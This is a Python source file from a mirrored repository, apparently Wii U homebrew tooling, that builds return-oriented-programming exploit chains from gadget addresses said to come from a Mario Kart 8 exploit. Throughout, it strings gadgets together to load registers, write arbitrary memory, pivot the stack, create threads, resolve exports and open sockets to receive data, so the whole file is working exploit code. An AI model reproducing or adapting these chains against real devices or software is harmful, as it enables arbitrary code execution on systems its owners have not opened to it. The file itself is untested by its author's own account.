mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-11-16 23:59:25 +01:00
dcf3bf5204
Untested, copy pasted from the mario kart 8 exploit (rop gadgets address are meant to be used on EUR v1.1.7)
377 lines
14 KiB
Python
377 lines
14 KiB
Python
from ropgadget_addr import *
|
|
|
|
|
|
def setr3r4(r3, r4):
|
|
if 'ROP_GX2_r3r4load' not in globals():
|
|
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
|
|
return [ROP_GX2_r3r4load,
|
|
r3,
|
|
r4,
|
|
0x0]
|
|
|
|
|
|
def pop_r24_to_r31(inputregs):
|
|
if 'ROP_POP_R24_TO_R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_POP_R24_TO_R31 is missing')
|
|
curchain = [
|
|
ROP_POP_R24_TO_R31,
|
|
0,
|
|
0]
|
|
|
|
for i in range(0, 8):
|
|
curchain.append(inputregs[i])
|
|
|
|
curchain.append(0)
|
|
return curchain
|
|
|
|
|
|
def call_func(funcaddr, r3=0, r4=0, r5=0, r6=0, r28=0):
|
|
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
|
curchain = []
|
|
input_regs = [r6,
|
|
r5,
|
|
0,
|
|
ROP_CALLR28_POP_R28_TO_R31,
|
|
funcaddr,
|
|
r3,
|
|
0,
|
|
r4]
|
|
|
|
curchain += pop_r24_to_r31(input_regs)
|
|
|
|
curchain.append(ROP_CALLFUNC)
|
|
curchain.append(r28)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
return curchain
|
|
|
|
|
|
def tiny_call(fptr, r3=0, r4=0):
|
|
if 'ROP_POP_R28R29R30R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
|
|
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
|
curchain = []
|
|
curchain += setr3r4(r3, r4)
|
|
curchain.append(ROP_POP_R28R29R30R31)
|
|
curchain.append(fptr)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
curchain.append(r4)
|
|
curchain.append(0)
|
|
curchain.append(ROP_CALLR28_POP_R28_TO_R31)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
curchain.append(0)
|
|
return curchain
|
|
|
|
|
|
def write_r3r4_tomem(outaddr):
|
|
if 'ROP_POP_R28R29R30R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
|
|
if 'ROP_OSGetCodegenVirtAddrRange' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSGetCodegenVirtAddrRange is missing')
|
|
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
|
return [ROP_POP_R28R29R30R31,
|
|
ROP_OSGetCodegenVirtAddrRange + 0x20,
|
|
0,
|
|
outaddr,
|
|
0x10000000,
|
|
0,
|
|
ROP_CALLR28_POP_R28_TO_R31,
|
|
0,
|
|
0,
|
|
0]
|
|
|
|
|
|
def write32(addr, value):
|
|
cur_chain = []
|
|
cur_chain += setr3r4(value, 0)
|
|
cur_chain += write_r3r4_tomem(addr)
|
|
return cur_chain
|
|
|
|
|
|
def call_with_dereferenced_r3(addr, arg1_ptr, arg2=0, arg3=0, arg4=0, arg5=0):
|
|
cur_chain = []
|
|
# set r3 to arg5
|
|
cur_chain += setr3r4(arg5, 0)
|
|
# move it to r7
|
|
|
|
if 'ROP_R3_TO_R7' in globals():
|
|
cur_chain.append(ROP_R3_TO_R7) # 0x028036ec: mr r7, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r7; blr;
|
|
cur_chain.append(0x0000DEA2) # ;r1 +8
|
|
else:
|
|
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
|
|
|
|
# set r3 to arg3
|
|
cur_chain += setr3r4(arg4, 0)
|
|
|
|
if 'ROP_R3_TO_R11' and 'ROP_R11_TO_R6' in globals():
|
|
# move it to r11
|
|
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
|
|
cur_chain.append(0x0000DEA6) # ;r1 + 8
|
|
# then we can move it to r6
|
|
cur_chain.append(ROP_R11_TO_R6) # 0x029dd8fc: mr r6, r11; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; clrlwi r3, r6, 0x18; blr;
|
|
cur_chain.append(0x0000DEA7) # ;r1 + 8
|
|
cur_chain.append(0x0000DEA8) # ;r1 + 0xC
|
|
cur_chain.append(0x0000DEA9) # ;r1 + 0x10
|
|
elif 'ROP_R3_TO_R6' in globals():
|
|
print('yay')
|
|
else:
|
|
raise ValueError('rop gagdet is missing')
|
|
|
|
# set arg3 to r3
|
|
cur_chain += setr3r4(arg3, 0)
|
|
if 'ROP_R3_TO_R5' in globals():
|
|
# move it to r5
|
|
cur_chain.append(ROP_R3_TO_R5) # 0x0211cb44 mr r5, r3; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; mr r3, r5; blr;
|
|
cur_chain.append(0x0000DEAA) # ;r1 + 8
|
|
cur_chain.append(0x0000DEAB) # ;r1 + 0xC
|
|
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
|
|
elif 'ROP_R3_TO_R5_POP_R29_R30_R31' in globals():
|
|
cur_chain.append(ROP_R3_TO_R5_POP_R29_R30_R31) # 0x3a21bc4: mr r5, r3; lwz r29, 0x34(r1); lwz r0, 0x44(r1); lwz r30, 0x38(r1); mtlr r0; lwz r31, 0x3c(r1); addi r1, r1, 0x40; addi r3, r5, 0x10; blr
|
|
cur_chain.append(0x0000DEAA) # ;r1 + 0x08
|
|
cur_chain.append(0x0000DEAB) # ;r1 + 0x0C
|
|
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
|
|
cur_chain.append(0x0000DEAD) # ;r1 + 0x14
|
|
cur_chain.append(0x0000DEAE) # ;r1 + 0x18
|
|
cur_chain.append(0x0000DEAF) # ;r1 + 0x1C
|
|
cur_chain.append(0x0000DEB0) # ;r1 + 0x20
|
|
cur_chain.append(0x0000DEB1) # ;r1 + 0x24
|
|
cur_chain.append(0x0000DEB2) # ;r1 + 0x28
|
|
cur_chain.append(0x0000DEB3) # ;r1 + 0x2C
|
|
cur_chain.append(0x0000DEB4) # ;r1 + 0x30
|
|
cur_chain.append(0x0000DEB5) # ;r1 + 0x34 // r29
|
|
cur_chain.append(0x0000DEB6) # ;r1 + 0x38 // r30
|
|
cur_chain.append(0x0000DEB7) # ;r1 + 0x3C // r31
|
|
cur_chain.append(0x0000DEB8) # ;r1 + 0x40
|
|
else:
|
|
raise ValueError('rop gagdet is missing')
|
|
|
|
cur_chain += call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2)
|
|
return cur_chain
|
|
|
|
|
|
def call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2=0):
|
|
cur_chain = []
|
|
# now we can set r3
|
|
cur_chain += setr3r4(arg1_ptr, 0)
|
|
|
|
if 'ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr' not in globals():
|
|
raise ValueError('rop gagdet ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr is missing')
|
|
|
|
cur_chain.append(ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr) # #0x2024858 r3 = *r3 # lwz r3, 0(r3); lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
|
|
cur_chain.append(0x0) # + 8
|
|
|
|
if 'ROP_POP_R28R29R30R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
|
|
|
|
# set func address to r28, arg2 to r31
|
|
cur_chain.append(ROP_POP_R28R29R30R31) # coreinit.rpl 0x020014d4: lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r30, 0x10(r1); mtlr r0; lwz r31, 0x14(r1); addi r1, r1, 0x18; blr;
|
|
cur_chain.append(addr) # r28 + 8
|
|
cur_chain.append(0) # r29 +0x0C
|
|
cur_chain.append(0) # r30+ 0x10
|
|
cur_chain.append(arg2) # r31 + 0x14
|
|
cur_chain.append(0) # + 0x18
|
|
|
|
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
|
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
|
|
|
# r31 will be moved to r4
|
|
cur_chain.append(ROP_CALLR28_POP_R28_TO_R31) # coreinit: 0x02061970: mtctr r28; mr r4, r31; bctrl; lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r31, 0x14(r1); mtlr r0; lwz r30, 0x10(r1); addi r1, r1, 0x18; blr;
|
|
cur_chain.append(0) # r28 + 8
|
|
cur_chain.append(0) # r29 + 0xC
|
|
cur_chain.append(0) # r30 + 0x10
|
|
cur_chain.append(0) # r31 + 0x14
|
|
cur_chain.append(0) # + 0x18
|
|
return cur_chain
|
|
|
|
|
|
def call_ptr(addr_ptr, arg1=0, arg2=0):
|
|
if 'ROP_POP_R12' not in globals():
|
|
raise ValueError('rop gagdet ROP_POP_R12 is missing')
|
|
# overrides r3
|
|
# 0x025850c0: lwz r12, 8(r1); addis r3, r12, 0x8000; lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
|
|
cur_chain = [ROP_POP_R12,
|
|
addr_ptr - 0x2C,
|
|
0x0000DEA3,
|
|
0x0000DEA4]
|
|
|
|
# sets r3 and r4. More arguments could be set using the gadget (call_with_dereferenced_r3)
|
|
cur_chain += setr3r4(arg1, arg2)
|
|
|
|
if 'ROP_GX2_call_r12' not in globals():
|
|
raise ValueError('rop gagdet ROP_GX2_call_r12 is missing')
|
|
cur_chain.append(ROP_GX2_call_r12) # gx2.rpl; 0x0203b19c: lwz r0, 0x2c(r12); mtctr r0; bctrl; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
|
|
cur_chain.append(0) # 8
|
|
|
|
return cur_chain
|
|
|
|
|
|
def DCFlushRange(addr, size):
|
|
if 'ROP_DCFlushRange' not in globals():
|
|
raise ValueError('rop gagdet ROP_DCFlushRange is missing')
|
|
return tiny_call(ROP_DCFlushRange, addr, size)
|
|
|
|
|
|
def ICInvalidateRange(addr, size):
|
|
if 'ROP_ICInvalidateRange' not in globals():
|
|
raise ValueError('rop gagdet ROP_ICInvalidateRange is missing')
|
|
return tiny_call(ROP_ICInvalidateRange, addr, size)
|
|
|
|
|
|
def memcpy(dest, src, size):
|
|
if 'ROP_memcpy' not in globals():
|
|
raise ValueError('rop gagdet ROP_memcpy is missing')
|
|
return call_func(ROP_memcpy, dest, src, size)
|
|
|
|
|
|
def OSDriver_Register(name, name_len, unkwn1, unkwn2):
|
|
if 'ROP_Register' not in globals():
|
|
raise ValueError('rop gagdet ROP_Register is missing')
|
|
return call_func(ROP_Register, name, name_len, unkwn1, unkwn2)
|
|
|
|
|
|
def OSDriver_CopyToSaveArea(name, name_len, data, data_len):
|
|
if 'ROP_CopyToSaveArea' not in globals():
|
|
raise ValueError('rop gagdet ROP_CopyToSaveArea is missing')
|
|
return call_func(ROP_CopyToSaveArea, name, name_len, data, data_len)
|
|
|
|
|
|
def OSResumeThread(thread):
|
|
if 'ROP_OSResumeThread' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSResumeThread is missing')
|
|
return tiny_call(ROP_OSResumeThread, thread)
|
|
|
|
|
|
def OSFatal(arg):
|
|
if 'ROP_OSFatal' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSFatal is missing')
|
|
return tiny_call(ROP_OSFatal, arg)
|
|
|
|
|
|
def OSSuspendThread(thread):
|
|
if 'ROP_OSSuspendThread' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSSuspendThread is missing')
|
|
return tiny_call(ROP_OSSuspendThread, thread)
|
|
|
|
|
|
def OSDynLoad_Acquire(name_ptr, handle_ptr):
|
|
if 'ROP_OSDynLoad_Acquire' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSDynLoad_Acquire is missing')
|
|
return tiny_call(ROP_OSDynLoad_Acquire, name_ptr, handle_ptr)
|
|
|
|
|
|
def OSExitThread(resultcode):
|
|
if 'ROP_OSExitThread' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSExitThread is missing')
|
|
return tiny_call(ROP_OSExitThread, resultcode)
|
|
|
|
|
|
def socket(domain, type, protocol):
|
|
if 'ROP_socket' not in globals():
|
|
raise ValueError('rop gagdet ROP_socket is missing')
|
|
return call_func(ROP_socket, domain, type, protocol)
|
|
|
|
|
|
def connect(sockfd, addr, addrlen):
|
|
if 'ROP_connect' not in globals():
|
|
raise ValueError('rop gagdet ROP_connect is missing')
|
|
return call_func(ROP_connect, sockfd, addr, addrlen)
|
|
|
|
|
|
def recv(sockfd, buf, len, flags):
|
|
if 'ROP_recv' not in globals():
|
|
raise ValueError('rop gagdet ROP_recv is missing')
|
|
return call_func(ROP_recv, sockfd, buf, len, flags)
|
|
|
|
|
|
def GX2WaitForVsync():
|
|
if 'ROP_GX2WaitForVsync' not in globals():
|
|
raise ValueError('rop gagdet ROP_GX2WaitForVsync is missing')
|
|
return tiny_call(ROP_GX2WaitForVsync)
|
|
|
|
|
|
def GX2Flush():
|
|
if 'ROP_GX2Flush' not in globals():
|
|
raise ValueError('rop gagdet ROP_GX2Flush is missing')
|
|
return tiny_call(ROP_GX2Flush)
|
|
|
|
|
|
def GX2DrawDone():
|
|
if 'ROP_GX2DrawDone' not in globals():
|
|
raise ValueError('rop gagdet ROP_GX2DrawDone is missing')
|
|
return tiny_call(ROP_GX2DrawDone)
|
|
|
|
|
|
def GX2DirectCallDisplayList(addr, size):
|
|
if 'ROP_GX2DirectCallDisplayList' not in globals():
|
|
raise ValueError('rop gagdet ROP_GX2DirectCallDisplayList is missing')
|
|
return tiny_call(ROP_GX2DirectCallDisplayList, addr, size)
|
|
|
|
|
|
def FindExportAndCall(tmp, rpl_name_addr, function_name_addr, arg1=0, arg2=0):
|
|
if 'ROP_OSDynLoad_FindExport' not in globals():
|
|
raise ValueError('rop gagdet ROP_OSDynLoad_FindExport is missing')
|
|
cur_chain = []
|
|
cur_chain += OSDynLoad_Acquire(rpl_name_addr, tmp)
|
|
cur_chain += call_with_dereferenced_r3(ROP_OSDynLoad_FindExport, tmp, 0, function_name_addr, tmp + 0x04, 0) # will use the value of (tmp) in r3, not the address!
|
|
cur_chain += call_ptr(tmp + 0x04, arg1, arg2)
|
|
return cur_chain
|
|
|
|
|
|
def StackPivot(new_stack):
|
|
cur_chain = []
|
|
# set r3 to arg3
|
|
cur_chain += setr3r4(new_stack, 0)
|
|
|
|
if 'ROP_R3_TO_R11' not in globals():
|
|
raise ValueError('rop gagdet ROP_R3_TO_R11 is missing')
|
|
if 'ROP_R11_TO_R1' not in globals():
|
|
raise ValueError('rop gagdet ROP_R11_TO_R1 is missing')
|
|
|
|
# move it to r11
|
|
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
|
|
cur_chain.append(0x0000DEA6) # ;r1 + 8
|
|
cur_chain.append(ROP_R11_TO_R1) # 0x02a645b0 ;r1 + 12 # lwz r0, 4(r11); mtlr r0; mr r1, r11; blr;
|
|
return cur_chain
|
|
|
|
|
|
def OSCreateThread(thread, entry, argc, argv, stack, stackSize, priority, attributes):
|
|
curchain = [];
|
|
inputregs = [1, 2, 3, 4, 5, 6, 7, 8]
|
|
inputregs[24 - 24] = 0 # #r24
|
|
inputregs[25 - 24] = stack # #r25 # r7
|
|
inputregs[26 - 24] = stackSize # #r26 # r8
|
|
inputregs[27 - 24] = priority # #r27 # r9
|
|
inputregs[28 - 24] = thread # #r28 #r3
|
|
inputregs[29 - 24] = entry # #r29 #r4
|
|
inputregs[30 - 24] = argc ##r30 #r5
|
|
inputregs[31 - 24] = argv # #r31 # r6
|
|
curchain += pop_r24_to_r31(inputregs)
|
|
|
|
if 'ROP_CreateThreadInternal' not in globals():
|
|
raise ValueError('rop gagdet ROP_CreateThreadInternal is missing')
|
|
|
|
# 0x020257a8: li r0, 2; lhz r10, 0xc(r1); mr r3, r28; mr r8, r26; stw r0, 8(r1); mr r4, r29; mr r5, r30; mr r6, r31;
|
|
# mr r7, r25; mr r9, r27; bl 0x2025548; lmw r25, 0x14(r1); lwz r0, 0x34(r1);mtlr r0; addi r1, r1, 0x30; blr;
|
|
curchain.append(ROP_CreateThreadInternal)
|
|
curchain.append(2) # param #10 ;r1 +8
|
|
curchain.append(attributes << 16) # r10 ;r1 +12 (lhz from this register)
|
|
curchain.append(0) # ;r1 +16
|
|
curchain.append(0) # r25 ;r1 +20
|
|
curchain.append(0) # r26 ;r1 +24
|
|
curchain.append(0) # r27 ;r1 +28
|
|
curchain.append(0) # r28 ;r1 +32
|
|
curchain.append(0) # r29 ;r1 +36
|
|
curchain.append(0) # r30 ;r1 +40
|
|
curchain.append(0) # r31 ;r1 +44 (0x2C)
|
|
curchain.append(0)
|
|
return curchain
|